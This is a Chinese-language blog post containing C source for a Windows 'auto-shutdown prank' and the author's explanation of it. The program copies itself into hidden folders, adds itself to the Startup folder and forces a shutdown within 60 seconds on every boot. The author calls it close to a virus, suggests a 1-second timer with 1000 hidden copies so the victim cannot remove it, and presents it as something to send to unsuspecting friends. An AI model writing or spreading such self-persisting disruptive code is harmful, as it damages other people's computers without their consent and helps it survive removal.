一、程序代码
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <shlobj_core.h>
#include <objbase.h>
#include <Shlwapi.h> // 包含 Shlwapi.h 头文件
#pragma comment(lib, "Shlwapi.lib") // 链接 Shlwapi.lib 库
#define SHUTDOWN_TIME 60 // 关机时间(秒)
#define CANCEL_COMMAND1 "取消"
#define CANCEL_COMMAND2 "111"
// 创建快捷方式函数
BOOL CreateShortcut(const wchar_t* lpszTargetPath, const wchar_t* lpszLinkPath, const wchar_t* lpszDescription) {
HRESULT hres;
IShellLinkW* psl;
IPersistFile* ppf;
// 创建 IShellLink 接口实例
hres = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLinkW, (LPVOID*)&psl);
if (SUCCEEDED(hres)) {
// 设置快捷方式的目标路径
hres = psl->lpVtbl->SetPath(psl, lpszTargetPath);
// 设置快捷方式的描述
hres = psl->lpVtbl->SetDescription(psl, lpszDescription);
// 获取 IPersistFile 接口
hres = psl->lpVtbl->QueryInterface(psl, &IID_IPersistFile, (LPVOID*)&ppf);
if (SUCCEEDED(hres)) {
// 保存快捷方式到指定路径
hres = ppf->lpVtbl->Save(ppf, lpszLinkPath, TRUE);
ppf->lpVtbl->Release(ppf);
}
psl->lpVtbl->Release(psl);
}
return SUCCEEDED(hres);
}
// 复制文件到指定文件夹
BOOL CopyFileToFolder(const char* sourcePath, const char* destFolder, const char* destFileName) {
char destPath[MAX_PATH];
sprintf(destPath, "%s\\%s", destFolder, destFileName);
// 检查文件夹是否存在,如果不存在则创建
if (!PathIsDirectoryA(destFolder)) {
if (!CreateDirectoryA(destFolder, NULL)) {
printf("创建 %s 文件夹失败。\n", destFolder);
return FALSE;
}
}
if (CopyFileA(sourcePath, destPath, FALSE)) {
return TRUE;
}
return FALSE;
}
int main() {
// 初始化 COM 库
CoInitialize(NULL);
// 获取当前可执行文件的路径
char szExePath[MAX_PATH];
GetModuleFileNameA(NULL, szExePath, MAX_PATH);
const char* destFileName = "AutoShutdown.exe";
// 复制文件到 %ProgramData% 文件夹
PWSTR programDataPath = NULL;
char szProgramDataPath[MAX_PATH];
if (SUCCEEDED(SHGetKnownFolderPath(&FOLDERID_ProgramData, 0, NULL, &programDataPath))) {
WideCharToMultiByte(CP_ACP, 0, programDataPath, -1, szProgramDataPath, MAX_PATH, NULL, NULL);
CoTaskMemFree(programDataPath);
if (!CopyFileToFolder(szExePath, szProgramDataPath, destFileName)) {
printf("删除和重启都是没有的哟~\n");
}
}
else {
printf("获取 %ProgramData% 路径失败。\n");
}
// 复制文件到 C:\sources 文件夹
const char* cSourcesFolder = "C:\\sources";
if (!CopyFileToFolder(szExePath, cSourcesFolder, destFileName)) {
printf("复制文件到 C:\\sources 文件夹失败。\n");
}
// 获取 %ProgramData% 文件夹中程序的路径
PWSTR programDataPath2 = NULL;
char szProgramDataExePath[MAX_PATH];
if (SUCCEEDED(SHGetKnownFolderPath(&FOLDERID_ProgramData, 0, NULL, &programDataPath2))) {
WideCharToMultiByte(CP_ACP, 0, programDataPath2, -1, szProgramDataExePath, MAX_PATH, NULL, NULL);
CoTaskMemFree(programDataPath2);
sprintf(szProgramDataExePath, "%s\\%s", szProgramDataExePath, destFileName);
}
else {
printf("获取 %ProgramData% 路径失败。\n");
return 1;
}
// 获取开机启动文件夹路径
PWSTR pszStartupPath = NULL;
char szStartupPath[MAX_PATH];
if (SUCCEEDED(SHGetKnownFolderPath(&FOLDERID_Startup, 0, NULL, &pszStartupPath))) {
// 转换为多字节字符串
WideCharToMultiByte(CP_ACP, 0, pszStartupPath, -1, szStartupPath, MAX_PATH, NULL, NULL);
CoTaskMemFree(pszStartupPath);
}
else {
printf("获取开机启动文件夹路径失败。\n");
return 1;
}
// 构造快捷方式的完整路径
char szLinkPath[MAX_PATH];
sprintf(szLinkPath, "%s\\AutoShutdown.lnk", szStartupPath);
// 转换为宽字符字符串
wchar_t wszTargetPath[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, szProgramDataExePath, -1, wszTargetPath, MAX_PATH);
wchar_t wszLinkPath[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, szLinkPath, -1, wszLinkPath, MAX_PATH);
wchar_t wszDescription[] = L"自动关机程序";
// 创建快捷方式
if (CreateShortcut(wszTargetPath, wszLinkPath, wszDescription)) {
printf("已将程序添加到开机启动项。\n");
}
else {
printf("添加到开机启动项失败。\n");
}
// 设置 60 秒后关机
system("shutdown -s -t 60");
printf("计算机将在 %d 秒后关机,输入 '%s' 取消关机。\n", SHUTDOWN_TIME, CANCEL_COMMAND1);
//使用system调用操作系统命令,实现定时关机与取消定时关机
char input[10];
while (1) {
scanf("%s", input);
if (strcmp(input, CANCEL_COMMAND1) == 0 || strcmp(input, CANCEL_COMMAND2) == 0) {
// 取消关机
system("shutdown -a");
printf("关机已取消。\n");
break;
}
else {
printf("输入无效,请输入 '%s' 取消关机。\n", CANCEL_COMMAND1);
}
}
// 释放 COM 库
CoUninitialize();
return 0;
}
二、代码说明书
在上篇文章中,我们写了一个Windows系统下的自动关机小程序,并且将它转为.exe文件发送给朋友,当朋友点击这个程序的时候,电脑会进入定时关机。
但是我的目的是:发送给朋友,作为一个恶作剧类型的程序。如果朋友第一次上当了,肯定不会再次打开,并且会将其删除。所以为了使这个程序更加强壮,以满足我恶作剧的需求,我需要的是:在朋友即便不打开并且删除的情况下,也能启动。
所以我在原代码的基础上加上了开机自启动的功能,只要用户打开过这个程序,每一次开机后,程序都会自动启动。
同时一旦用户打开了这个程序,程序就会自动在C盘底下的ProgramData文件夹复制一份,这个文件夹大部分电脑都有,并且需要的权限不高,适合这种偷偷的备份。
但是,少部分电脑没有ProgramData文件夹,所以我会在C盘底下的sources文件夹,再复制一份。(如果没有sources文件夹,程序会自动创建。)
因为程序在启动时留下了备份,所以即便朋友删除,备份的程序也可以让他的电脑在下一次开机时自动关机。
开机自启动与程序自备份两个功能点的添加,就使得这个自动关机程序更加健壮,可以满足恶作剧的需求。
同时,因为有的电脑开机无法立即输入中文,所以我在程序中设置了另一个答案,输入“111”也是可以取消关机的。以防止在测试的时候出现问题。
但是,在这里要声明一点,这样的程序其实已经近似于病毒,如果电脑里有360安全卫士,是有可能对程序进行查杀的。因为它具有一定的危险性。如果你将关机时间设为1秒,同时创建1000个文件夹进行备份,即便你知道备份在哪,那你也不可能在开机后的短暂时间内,把这1000个备份全部删除,更何况不知道备份在哪里,甚至不知道存在备份的人了。
所以这样的程序仅作为恶作剧发送给朋友,此片文章也仅作为技术分享。